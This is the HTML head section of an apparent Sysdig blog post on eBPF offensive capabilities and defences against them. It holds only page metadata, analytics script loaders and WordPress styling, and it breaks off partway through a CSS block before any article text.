
<!doctype html>
<html lang="en-US">
<head>
	<meta charset="UTF-8">
	<meta http-equiv="x-ua-compatible" content="ie=edge">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<link rel="profile" href="http://gmpg.org/xfn/11">
	<meta name="google-site-verification" content="woFGOBDXdYqOInoJ8yXHyUdw08AF-tC-0jmKv5r24WQ" />

	<!--[if lt IE 9]>
		<script src="https://cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.min.js"></script>
	<![endif]-->

	<link rel="preconnect" href="//in.hotjar.com" crossorigin>
<link rel="preconnect" href="//jukebox.pathfactory.com" crossorigin>
<link rel="dns-prefetch" href="//okt.to" crossorigin>
<link rel="dns-prefetch" href="//www.facebook.com" crossorigin>
<link rel="dns-prefetch" href="//connect.facebook.net" crossorigin>
<link rel="dns-prefetch" href="//service.force.com" crossorigin>
<link rel="dns-prefetch" href="//d.la3-c1-ph2.salesforceliveagent.com" crossorigin>
<link rel="dns-prefetch" href="//ib.adnxs.com" crossorigin>
<link rel="dns-prefetch" href="//pixel.advertising.com" crossorigin>
<link rel="dns-prefetch" href="//ups.analytics.yahoo.com" crossorigin>
<link rel="dns-prefetch" href="//pixel.rubiconproject.com" crossorigin>
	<script>dataLayer = [];</script>
		<script defer>(function (w, d, s, l, i) { w[l] = w[l] || []; w[l].push({'gtm.start': new Date().getTime(), event: 'gtm.js'}); var f = d.getElementsByTagName(s)[0], j = d.createElement(s), dl = l != 'dataLayer' ? '&l=' + l : ''; j.async = true; j.src = 'https://www.googletagmanager.com/gtm.js?id=' + i + dl; f.parentNode.insertBefore(j, f); })(window, document, 'script', 'dataLayer', 'GTM-KHGG4KL');</script>
			<script type="text/javascript">
			(function(j,u,k,e,b,o,x){j["pfObject"]=b;j[b]=j[b]||function(){
				(j[b].q=j[b].q||[]).push(arguments)},j[b].l=1*new Date();o=u.createElement(k),
				x=u.getElementsByTagName(k)[0];o.async=1;o.src=e;x.parentNode.insertBefore(o,x)
			})(window,document,"script", "https://cdn-app.pathfactory.com/production/jukebox/current/jukebox.js" ,"pf");
			pf("create", "LB-727F1CFC-10479");
		</script>
		<meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' />

	<!-- This site is optimized with the Yoast SEO Premium plugin v22.0 (Yoast SEO v22.0) - https://yoast.com/wordpress/plugins/seo/ -->
	<title>eBPF Offensive Capabilities - Get Ready for Next-gen Malware &#8211; Sysdig</title>
	<meta name="description" content="In this article, we will explore some of the offensive capabilities that eBPF can provide to an attacker and how to defend against them." />
	<link rel="canonical" href="https://sysdig.com/blog/ebpf-offensive-capabilities/" />
	<meta property="og:locale" content="en_US" />
	<meta property="og:type" content="article" />
	<meta property="og:title" content="eBPF Offensive Capabilities - Get Ready for Next-gen Malware" />
	<meta property="og:description" content="In this article, we will explore some of the offensive capabilities that eBPF can provide to an attacker and how to defend against them." />
	<meta property="og:url" content="https://sysdig.com/blog/ebpf-offensive-capabilities/" />
	<meta property="og:site_name" content="Sysdig" />
	<meta property="article:publisher" content="https://www.facebook.com/Sysdig415/" />
	<meta property="article:published_time" content="2023-09-05T15:30:00+00:00" />
	<meta property="article:modified_time" content="2024-02-23T07:17:48+00:00" />
	<meta property="og:image" content="https://sysdig.com/wp-content/uploads/blog-eBPF-Offensive-Capabilities.png" />
	<meta property="og:image:width" content="2400" />
	<meta property="og:image:height" content="1320" />
	<meta property="og:image:type" content="image/png" />
	<meta name="author" content="Daniele Linguaglossa" />
	<meta name="twitter:card" content="summary_large_image" />
	<meta name="twitter:image" content="https://sysdig.com/wp-content/uploads/blog-eBPF-Offensive-Capabilities.png" />
	<meta name="twitter:creator" content="@sysdig" />
	<meta name="twitter:site" content="@sysdig" />
	<script type="application/ld+json" class="yoast-schema-graph">{"@context":"https://schema.org","@graph":[{"@type":["Article","BlogPosting"],"@id":"https://sysdig.com/blog/ebpf-offensive-capabilities/#article","isPartOf":{"@id":"https://sysdig.com/blog/ebpf-offensive-capabilities/"},"author":{"name":"Daniele Linguaglossa","@id":"https://sysdig.com/#/schema/person/92942ef25f2137fe3b9a6bb9d1ce2489"},"headline":"eBPF Offensive Capabilities &#8211; Get Ready for Next-gen Malware","datePublished":"2023-09-05T15:30:00+00:00","dateModified":"2024-02-23T07:17:48+00:00","mainEntityOfPage":{"@id":"https://sysdig.com/blog/ebpf-offensive-capabilities/"},"wordCount":3409,"publisher":{"@id":"https://sysdig.com/#organization"},"image":{"@id":"https://sysdig.com/blog/ebpf-offensive-capabilities/#primaryimage"},"thumbnailUrl":"https://sysdig.com/wp-content/uploads/blog-eBPF-Offensive-Capabilities.png","articleSection":["Kubernetes","Sysdig Secure"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https://sysdig.com/blog/ebpf-offensive-capabilities/","url":"https://sysdig.com/blog/ebpf-offensive-capabilities/","name":"eBPF Offensive Capabilities - Get Ready for Next-gen Malware &#8211; Sysdig","isPartOf":{"@id":"https://sysdig.com/#website"},"primaryImageOfPage":{"@id":"https://sysdig.com/blog/ebpf-offensive-capabilities/#primaryimage"},"image":{"@id":"https://sysdig.com/blog/ebpf-offensive-capabilities/#primaryimage"},"thumbnailUrl":"https://sysdig.com/wp-content/uploads/blog-eBPF-Offensive-Capabilities.png","datePublished":"2023-09-05T15:30:00+00:00","dateModified":"2024-02-23T07:17:48+00:00","description":"In this article, we will explore some of the offensive capabilities that eBPF can provide to an attacker and how to defend against them.","breadcrumb":{"@id":"https://sysdig.com/blog/ebpf-offensive-capabilities/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https://sysdig.com/blog/ebpf-offensive-capabilities/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https://sysdig.com/blog/ebpf-offensive-capabilities/#primaryimage","url":"https://sysdig.com/wp-content/uploads/blog-eBPF-Offensive-Capabilities.png","contentUrl":"https://sysdig.com/wp-content/uploads/blog-eBPF-Offensive-Capabilities.png","width":2400,"height":1320},{"@type":"BreadcrumbList","@id":"https://sysdig.com/blog/ebpf-offensive-capabilities/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https://sysdig.com/"},{"@type":"ListItem","position":2,"name":"eBPF Offensive Capabilities &#8211; Get Ready for Next-gen Malware"}]},{"@type":"WebSite","@id":"https://sysdig.com/#website","url":"https://sysdig.com/","name":"Sysdig","description":"","publisher":{"@id":"https://sysdig.com/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https://sysdig.com/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https://sysdig.com/#organization","name":"Sysdig","url":"https://sysdig.com/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https://sysdig.com/#/schema/logo/image/","url":"https://sysdig.com/wp-content/uploads/sysdig-logo-new-black-cropped.svg","contentUrl":"https://sysdig.com/wp-content/uploads/sysdig-logo-new-black-cropped.svg","width":154,"height":46,"caption":"Sysdig"},"image":{"@id":"https://sysdig.com/#/schema/logo/image/"},"sameAs":["https://www.facebook.com/Sysdig415/","https://twitter.com/sysdig","https://www.linkedin.com/company/sysdig","https://www.youtube.com/c/sysdig"]},{"@type":"Person","@id":"https://sysdig.com/#/schema/person/92942ef25f2137fe3b9a6bb9d1ce2489","name":"Daniele Linguaglossa","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https://sysdig.com/#/schema/person/image/","url":"https://secure.gravatar.com/avatar/9902f1866646f3c06a72596a7d8ee2b1?s=96&d=mm&r=g","contentUrl":"https://secure.gravatar.com/avatar/9902f1866646f3c06a72596a7d8ee2b1?s=96&d=mm&r=g","caption":"Daniele Linguaglossa"},"url":"https://sysdig.com/blog/author/daniele-linguaglossa/"}]}</script>
	<!-- / Yoast SEO Premium plugin. -->


<link rel='dns-prefetch' href='//app.cdn.lookbookhq.com' />
<link rel='dns-prefetch' href='//www.google.com' />
<link rel="alternate" type="application/rss+xml" title="Sysdig &raquo; Feed" href="https://sysdig.com/feed/" />
<link rel="alternate" type="application/rss+xml" title="Sysdig &raquo; Comments Feed" href="https://sysdig.com/comments/feed/" />
<link rel='stylesheet' id='v4-sysdig-main-css' href='https://sysdig.com/wp-content/themes/sysdig/public/styles/main-v4.css?ver=1708639732' type='text/css' media='all' />
<link rel='stylesheet' id='pathfactory-overlay-css' href='https://sysdig.com/wp-content/themes/sysdig/public/styles/pathfactory-overlay.css?ver=1707271340' type='text/css' media='all' />
<link rel='stylesheet' id='pathfactory-overlay-lib-css' href='https://app.cdn.lookbookhq.com/libraries/overlay/overlay.css?ver=20240129' type='text/css' media='all' />
<style id='wp-block-library-inline-css' type='text/css'>
:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}.has-text-align-center{text-align:center}.has-text-align-left{text-align:left}.has-text-align-right{text-align:right}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{clip:rect(1px,1px,1px,1px);word-wrap:normal!important;border:0;-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.screen-reader-text:focus{clip:auto!important;background-color:#ddd;-webkit-clip-path:none;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-right-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-left-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-right-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}
</style>
<link rel='stylesheet' id='wp-components-css' href='https://sysdig.com/wp-includes/css/dist/components/style.min.css?ver=6.4.3' type='text/css' media='all' />
<link rel='stylesheet' id='sysdig-block-editor-css' href='https://sysdig.com/wp-content/themes/sysdig/public/styles/blocks/block-editor.css?ver=1708542915' type='text/css' media='all' />
<!-- Begin output from print_late_styles() -->
<style id='wp-block-paragraph-inline-css' type='text/css'>
.is-small-text{font-size:.875em}.is-regular-text{font-size:1em}.is-large-text{font-size:2.25em}.is-larger-text{font-size:3em}.has-drop-cap:not(:focus):first-letter{float:left;font-size:8.4em;font-style:normal;font-weight:100;line-height:.68;margin:.05em .1em 0 0;text-transform:uppercase}body.rtl .has-drop-cap:not(:focus):first-letter{float:none;margin-left:.1em}p.has-drop-cap.has-background{overflow:hidden}p.has-background{padding:1.25em 2.375em}:where(p.has-text-color:not(.has-link-color)) a{color:inherit}p.has-text-align-left[style*="writing-mode:vertical-lr"],p.has-text-align-right[style*="writing-mode:vertical-rl"]{rotate:180deg}
</style>
<style id='sysdig-core-paragraph-styles-inline-css' type='text/css'>
.is-style-eyebrow,.is-style-subtitle{font-family:var(--wp--preset--font-family--poppins);font-size:var(--wp--preset--font-size--small);font-weight:600;letter-spacing:1px;line-height:1.45;text-transform:uppercase}.is-style-eyebrow{font-family:var(--wp--preset--font-family--share-tech-mono);font-size:.8125rem;font-weight:400}

/*# sourceMappingURL=paragraph.css.map*/
</style>
<style id='wp-block-heading-inline-css' type='text/css'>
h1.has-background,h2.has-background,h3.has-background,h4.has-background,h5.has-background,h6.has-background{padding:1.25em 2.375em}h1.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h1.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h2.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h2.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h3.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h3.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h4.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h4.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h5.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h5.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h6.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h6.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]){rotate:180deg}
</style>
<style id='sysdig-core-heading-styles-inline-css' type='text/css'>
.is-style-eyebrow,.is-style-subtitle{font-family:var(--wp--preset--font-family--poppins);font-size:var(--wp--preset--font-size--small);font-weight:600;letter-spacing:1px;line-height:1.45;text-transform:uppercase}.is-style-eyebrow{font-family:var(--wp--preset--font-family--share-tech-mono);font-size:.8125rem;font-weight:400}

/*# sourceMappingURL=heading.css.map*/
</style>
<style id='wp-block-list-inline-css' type='text/css'>
ol,ul{box-sizing:border-box}ol.has-background,ul.has-background{padding:1.25em 2.375em}
</style>
<style id='wp-block-code-inline-css' type='text/css'>
.wp-block-code{box-sizing:border-box}.wp-block-code code{display:block;font-family:inherit;overflow-wrap:break-word;white-space:pre-wrap}
.wp-block-code{background-color: var(--wp--preset--color--gray-70);border-radius: 11px;color: var(--wp--preset--color--white);font-family: Consolas, Courier, Monaco, monospace;font-weight: 300;line-height: 1.4;padding: 2rem;}
</style>
<style id='global-styles-inline-css' type='text/css'>
body{--wp--preset--color--black: #171717;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--color--primary: #BDF78B;--wp--preset--color--gray-10: #EAEBED;--wp--preset--color--gray-20: #BBBDBF;--wp--preset--color--gray-30: #8A8C8E;--wp--preset--color--gray-40: #626466;--wp--preset--color--gray-50: #535557;--wp--preset--color--gray-60: #3E4042;--wp--preset--color--gray-70: #2B2D30;--wp--preset--color--gray-80: #1E1E22;--wp--preset--color--gray-90: #121217;--wp--preset--color--yellow: #ffe24d;--wp--preset--color--light-green: #99CC7E;--wp--preset--color--light-blue: #93E0F1;--wp--preset--color--medium-blue: #65CADA;--wp--preset--color--green: #22FDC8;--wp--preset--color--navy: #023A83;--wp--preset--color--blue: #023A83;--wp--preset--color--dark-blue: #0e1471;--wp--preset--color--error: #FF9C85;--wp--preset--color--cucumber: #77B755;--wp--preset--color--purple: #3E4FEC;--wp--preset--color--grey: #F9F9F9;--wp--preset--color--light-grey: #828282;--wp--preset--color--body-black: #3D4750;--wp--preset--color--transparent: transparent;--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgba(6,147,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgba(252,185,0,1) 0%,rgba(255,105,0,1) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgba(255,105,0,1) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--gradient--black-to-blue: linear-gradient(249.13deg,#0e1270 3.45%,#000);--wp--preset--font-size--small: clamp(0.6875rem, 4vw - 1rem, 0.8125rem);--wp--preset--font-size--medium: clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.682), 20px);--wp--preset--font-size--large: clamp(0.9375rem, 1vw + 0.5rem, 1.125rem);;--wp--preset--font-size--x-large: clamp(1.25rem, 1.25rem + ((1vw - 0.48rem) * 0.962), 1.5rem);--wp--preset--font-size--x-small: clamp(.625rem, 0.75rem + ((1vw - 0.48rem) * 0.192), 0.75rem);--wp--preset--font-size--base: clamp(.9375rem, 1rem + ((1vw - 0.48rem) * 0.327), .9375rem);--wp--preset--font-size--2-x-large: clamp(1.5rem, 1.5rem + ((1vw - 0.48rem) * 1.538), 1.875rem);--wp--preset--font-size--3-x-large: clamp(1.875rem, 1.875rem + ((1vw - 0.48rem) * 2.212), 2.25rem);--wp--preset--font-size--4-x-large: clamp(2.25rem, 2.25rem + ((1vw - 0.48rem) * 3.462), 3rem);--wp--preset--font-size--5-x-large: clamp(3rem, 3rem + ((1vw - 0.48rem) * 4), 3.75rem);--wp--preset--font-size--6-x-large: clamp(3.75rem, 3.75rem + ((1vw - 0.48rem) * 4.25), 4.5rem);--wp--preset--font-size--7-x-large: clamp(4.5rem, 4.5rem + ((1vw - 0.48rem) * 5), 6rem);--wp--preset--font-size--h-1: clamp(2.25rem, 3vw + 1rem, 3.125rem);--wp--preset--font-size--h-2: clamp(1.75rem, 5vw - 1rem, 2.813rem);--wp--preset--font-size--h-3: clamp(1.625rem, 5vw - 1rem, 2.188rem);--wp--preset--font-size--h-4: clamp(1.5rem, 1vw + 1rem, 1.75rem);--wp--preset--font-size--h-5: 1.375rem;--wp--preset--font-size--h-6: 1.125rem;--wp--preset--font-family--poppins: 'Poppins', Verdana, sans-serif;--wp--preset--font-family--mulish: 'Mulish', arial, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, 'Noto Sans', 'Liberation Sans', sans-serif, 'Apple Color Emoji', 'Segoe UI Emoji', 'Segoe UI Symbol', 'Noto Color Emoji';--wp--preset--font-family--share-tech-mono: 'Share Tech Mono', monospace;--wp--preset--spacing--20: 0.5rem;--wp--preset--spacing--30: 0.75rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.25rem;--wp--preset--spacing--60: 1.5rem;--wp--preset--spacing--70: 1.75rem;--wp--preset--spacing--80: 2rem;--wp--preset--spacing--px: 1px;--wp--preset--spacing--10: 0.25rem;--wp--preset--spacing--90: clamp(2rem, calc(2rem + ((1vw - 0.4rem) * 1.0417)), 2.25rem);--wp--preset--spacing--100: clamp(2rem, calc(2rem + ((1vw - 0.4rem) * 2.0833)), 2.5rem);--wp--preset--spacing--120: clamp(2rem, calc(2rem + ((1vw - 0.4rem) * 4.1667)), 3rem);--wp--preset--spacing--160: clamp(2rem, calc(2rem + ((1vw - 0.4rem) * 8.3333)), 4rem);--wp--preset--spacing--200: clamp(2rem, calc(2rem + ((1vw - 0.4rem) * 8.3333)), 5rem);--wp--preset--spacing--240: clamp(4rem, calc(4rem + ((1vw - 0.4rem) * 8.3333)), 6rem);--wp--preset--spacing--320: clamp(4rem, calc(4rem + ((1vw - 0.4rem) * 16.6667)), 8rem);--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px rgba(255, 255, 255, 1), 6px 6px rgba(0, 0, 0, 1);--wp--preset--shadow--crisp: 6px 6px 0px rgba(0, 0, 0, 1);--wp--preset--shadow--banner: -5px 10px 15px rgba(0, 0, 0, 0.11);--wp--custom--radius--medium: 0.625rem;--wp--custom--radius--large: 1rem;--wp--custom--color--concrete: #f2f2f2;--wp--custom--color--error: #ea5255;--wp--custom--font-size--homepage-h-1: 3.75rem;}body { margin: 0;--wp--style--global--content-size: 800px;--wp--style--global--wide-size: 1200px; }.wp-site-blocks { padding-top: var(--wp--style--root--padding-top); padding-bottom: var(--wp--style--root--padding-bottom); }.has-global-padding { padding-right: var(--wp--style--root--padding-right); padding-left: var(--wp--style--root--padding-left); }.has-global-padding :where(.has-global-padding:not(.wp-block-block)) { padding-right: 0; padding-left: 0; }.has-global-padding > .alignfull { margin-right: calc(var(--wp--style--root--padding-right) * -1); margin-left: calc(var(--wp--style--root--padding-left) * -1); }.has-global-padding :where(.has-global-padding:not(.wp-block-block)) > .alignfull { margin-right: 0; margin-left: 0; }.has-global-padding > .alignfull:where(:not(.has-global-padding):not(.is-layout-flex):not(.is-layout-grid)) > :where([class*="wp-block-"]:not(.alignfull):not([class*="__"]),p,h1,h2,h3,h4,h5,h6,ul,ol) { padding-right: var(--wp--style--root--padding-right); padding-left: var(--wp--style--root--padding-left); }.has-global-padding :where(.has-global-padding) > .alignfull:where(:not(.has-global-padding)) > :where([class*="wp-block-"]:not(.alignfull):not([class*="__"]),p,h1,h2,h3,h4,h5,h6,ul,ol) { padding-right: 0; padding-left: 0; }.wp-site-blocks > .alignleft { float: left; margin-right: 2em; }.wp-site-blocks > .alignright { float: right; margin-left: 2em; }.wp-site-blocks > .aligncenter { justify-content: center; margin-left: auto; margin-right: auto; }:where(.wp-site-blocks) > * { margin-block-start: 1.5rem; margin-block-end: 0; }:where(.wp-site-blocks) > :first-child:first-child { margin-block-start: 0; }:where(.wp-site-blocks) > :last-child:last-child { margin-block-end: 0; }body { --wp--style--block-gap: 1.5rem; }:where(body .is-layout-flow)  > :first-child:first-child{margin-block-start: 0;}:where(body .is-layout-flow)  > :last-child:last-child{margin-block-end: 0;}:where(body .is-layout-flow)  > *{margin-block-start: 1.5rem;margin-block-end: 0;}:where(body .is-layout-constrained)  > :first-child:first-child{margin-block-start: 0;}:where(body .is-layout-constrained)  > :last-child:last-child{margin-block-end: 0;}:where(body .is-layout-constrained)  > *{margin-block-start: 1.5rem;margin-block-end: 0;}:where(body .is-layout-flex) {gap: 1.5rem;}:where(body .is-layout-grid) {gap: 1.5rem;}body .is-layout-flow > .alignleft{float: left;margin-inline-start: 0;margin-inline-end: 2em;}body .is-layout-flow > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}body .is-layout-flow > .aligncenter{margin-left: auto !important;margin-right: auto !important;}body .is-layout-constrained > .alignleft{float: left;margin-inline-start: 0;margin-inline-end: 2em;}body .is-layout-constrained > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}body .is-layout-constrained > .aligncenter{margin-left: auto !important;margin-right: auto !important;}body .is-layout-constrained > :where(:not(.alignleft):not(.alignright):not(.alignfull)){max-width: var(--wp--style--global--content-size);margin-left: auto !important;margin-right: auto !important;}body .is-layout-constrained > .alignwide{max-width: var(--wp--style--global--wide-size);}body .is-layout-flex{display: flex;}body .is-layout-flex{flex-wrap: wrap;align-items: center;}body .is-layout-flex > *{margin: 0;}body .is-layout-grid{display: grid;}body .is-layout-grid > *{margin: 0;}body{background-color: var(--wp-preset--color--white);color: var(--wp--preset--color--gray-80);font-family: var(--wp--preset--font-family--mulish);font-size: clamp(.9375rem, 1rem + ((1vw - 0.48rem) * 0.327), .9375rem);line-height: 1.45;--wp--style--root--padding-top: 0px;--wp--style--root--padding-right: var(--wp--style--block-gap);--wp--style--root--padding-bottom: 0px;--wp--style--root--padding-left: var(--wp--style--block-gap);}a:where(:not(.wp-element-button)){text-decoration: underline;}h1, h2, h3, h4, h5, h6{color: var(--wp--preset--color--gray-80);font-family: var(--wp--preset--font-family--poppins);font-weight: 700;}h1{font-size: clamp(2.25rem, 3vw + 1rem, 3.125rem);line-height: 1.2;padding-bottom: 1.5rem;}h2{font-size: clamp(1.75rem, 5vw - 1rem, 2.813rem);line-height: 1.2;padding-bottom: 1.5rem;}h3{font-size: clamp(1.625rem, 5vw - 1rem, 2.188rem);line-height: 1.3;padding-bottom: 0.938rem;}h4{font-size: clamp(1.5rem, 1vw + 1rem, 1.75rem);line-height: 1.3;}h5{font-size: clamp(1.375rem, 1vw + 1.125rem, 1.375rem);line-height: 1.3;}h6{font-size: clamp(1.125rem, 1vw + 1.125rem, 1.125rem);line-height: 1.3;}.wp-element-button, .wp-block-button__link{background-color: #32373c;border-width: 0;color: #fff;font-family: inherit;font-size: inherit;line-height: inherit;padding: calc(0.667em + 2px) calc(1.333em + 2px);text-decoration: none;}.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: var(--wp--preset--color--vivid-purple) !important;}.has-primary-color{color: var(--wp--preset--color--primary) !important;}.has-gray-10-color{color: var(--wp--preset--color--gray-10) !important;}.has-gray-20-color{color: var(--wp--preset--color--gray-20) !important;}.has-gray-30-color{color: var(--wp--preset--color--gray-30) !important;}.has-gray-40-color{color: var(--wp--preset--color--gray-40) !important;}.has-gray-50-color{color: var(--wp--preset--color--gray-50) !important;}.has-gray-60-color{color: var(--wp--preset--color--gray-60) !important;}.has-gray-70-color{color: var(--wp--preset--color--gray-70) !important;}.has-gray-80-color{color: var(--wp--preset--color--gray-80) !important;}.has-gray-90-color{color: var(--wp--preset--color--gray-90) !important;}.has-yellow-color{color: var(--wp--preset--color--yellow) !important;}.has-light-green-color{color: var(--wp--preset--color--light-green) !important;}.has-light-blue-color{color: var(--wp--preset--color--light-blue) !important;}.has-medium-blue-color{color: var(--wp--preset--color--medium-blue) !important;}.has-green-color{color: var(--wp--preset--color--green) !important;}.has-navy-color{color: var(--wp--preset--color--navy) !important;}.has-blue-color{color: var(--wp--preset--color--blue) !important;}.has-dark-blue-color{color: var(--wp--preset--color--dark-blue) !important;}.has-error-color{color: var(--wp--preset--color--error) !important;}.has-cucumber-color{color: var(--wp--preset--color--cucumber) !important;}.has-purple-color{color: var(--wp--preset--color--purple) !important;}.has-grey-color{color: var(--wp--preset--color--grey) !important;}.has-light-grey-color{color: var(--wp--preset--color--light-grey) !important;}.has-body-black-color{color: var(--wp--preset--color--body-black) !important;}.has-transparent-color{color: var(--wp--preset--color--transparent) !important;}.has-black-background-color{background-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) 